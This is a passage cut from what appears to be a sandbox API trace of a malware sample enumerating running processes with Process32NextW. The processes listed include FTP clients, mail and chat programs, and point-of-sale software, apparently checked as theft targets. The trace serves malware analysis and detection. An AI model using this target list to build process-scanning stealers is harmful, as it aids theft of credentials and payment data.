(lpString="svchost.exe") returned 11 [0162.094] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.095] lstrlenW (lpString="svchost.exe") returned 11 [0162.095] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.095] lstrlenW (lpString="svchost.exe") returned 11 [0162.095] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.096] lstrlenW (lpString="svchost.exe") returned 11 [0162.096] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.096] lstrlenW (lpString="svchost.exe") returned 11 [0162.096] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.097] lstrlenW (lpString="svchost.exe") returned 11 [0162.097] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.097] lstrlenW (lpString="svchost.exe") returned 11 [0162.097] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.098] lstrlenW (lpString="svchost.exe") returned 11 [0162.098] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.099] lstrlenW (lpString="svchost.exe") returned 11 [0162.099] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.099] lstrlenW (lpString="svchost.exe") returned 11 [0162.099] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.100] lstrlenW (lpString="audiodg.exe") returned 11 [0162.100] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0162.100] lstrlenW (lpString="sihost.exe") returned 10 [0162.100] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.101] lstrlenW (lpString="svchost.exe") returned 11 [0162.101] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0162.101] lstrlenW (lpString="taskhostw.exe") returned 13 [0162.101] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0162.102] lstrlenW (lpString="explorer.exe") returned 12 [0162.102] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0162.102] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0162.102] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0162.103] lstrlenW (lpString="Memory Compression") returned 18 [0162.103] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0162.103] lstrlenW (lpString="SearchUI.exe") returned 12 [0162.103] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0162.103] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0162.104] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0162.104] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0162.104] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0162.104] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0162.104] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0162.105] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0162.105] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0162.105] lstrlenW (lpString="migration dying locations.exe") returned 29 [0162.105] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0162.106] lstrlenW (lpString="college-advance.exe") returned 19 [0162.106] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0162.106] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0162.106] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0162.106] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0162.107] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0162.107] lstrlenW (lpString="metallic.exe") returned 12 [0162.107] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0162.107] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0162.107] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0162.108] lstrlenW (lpString="brown parade bases.exe") returned 22 [0162.108] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0162.108] lstrlenW (lpString="specified wales.exe") returned 19 [0162.108] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0162.109] lstrlenW (lpString="inspiration.exe") returned 15 [0162.109] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0162.109] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0162.109] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0162.109] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0162.110] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0162.110] lstrlenW (lpString="classbuck.exe") returned 13 [0162.110] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0162.110] lstrlenW (lpString="x-deutschland.exe") returned 17 [0162.110] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0162.111] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0162.111] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0162.111] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0162.111] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0162.112] lstrlenW (lpString="lawsuit.exe") returned 11 [0162.112] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0162.112] lstrlenW (lpString="3dftp.exe") returned 9 [0162.112] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0162.113] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0162.113] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0162.113] lstrlenW (lpString="alftp.exe") returned 9 [0162.113] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0162.114] lstrlenW (lpString="barca.exe") returned 9 [0162.114] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0162.114] lstrlenW (lpString="bitkinex.exe") returned 12 [0162.114] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0162.115] lstrlenW (lpString="coreftp.exe") returned 11 [0162.115] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0162.115] lstrlenW (lpString="far.exe") returned 7 [0162.115] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0162.116] lstrlenW (lpString="filezilla.exe") returned 13 [0162.116] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0162.117] lstrlenW (lpString="flashfxp.exe") returned 12 [0162.117] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0162.117] lstrlenW (lpString="fling.exe") returned 9 [0162.117] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0162.118] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0162.118] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0162.119] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0162.119] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0162.119] lstrlenW (lpString="icq.exe") returned 7 [0162.120] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0162.120] lstrlenW (lpString="leechftp.exe") returned 12 [0162.120] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0162.121] lstrlenW (lpString="ncftp.exe") returned 9 [0162.121] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0162.121] lstrlenW (lpString="notepad.exe") returned 11 [0162.122] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0162.122] lstrlenW (lpString="operamail.exe") returned 13 [0162.122] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0162.123] lstrlenW (lpString="pidgin.exe") returned 10 [0162.123] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0162.123] lstrlenW (lpString="scriptftp.exe") returned 13 [0162.124] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0162.124] lstrlenW (lpString="skype.exe") returned 9 [0162.124] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0162.125] lstrlenW (lpString="smartftp.exe") returned 12 [0162.125] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0162.125] lstrlenW (lpString="thunderbird.exe") returned 15 [0162.126] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0162.126] lstrlenW (lpString="totalcmd.exe") returned 12 [0162.126] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0162.127] lstrlenW (lpString="trillian.exe") returned 12 [0162.127] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0162.127] lstrlenW (lpString="webdrive.exe") returned 12 [0162.127] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0162.604] lstrlenW (lpString="whatsapp.exe") returned 12 [0162.604] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0162.605] lstrlenW (lpString="winscp.exe") returned 10 [0162.605] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0162.606] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0162.606] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0162.606] lstrlenW (lpString="active-charge.exe") returned 17 [0162.606] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0162.607] lstrlenW (lpString="accupos.exe") returned 11 [0162.607] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0162.608] lstrlenW (lpString="afr38.exe") returned 9 [0162.608] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0162.608] lstrlenW (lpString="aldelo.exe") returned 10 [0162.608] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0162.609] lstrlenW (lpString="ccv_server.exe") returned 14 [0162.609] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: 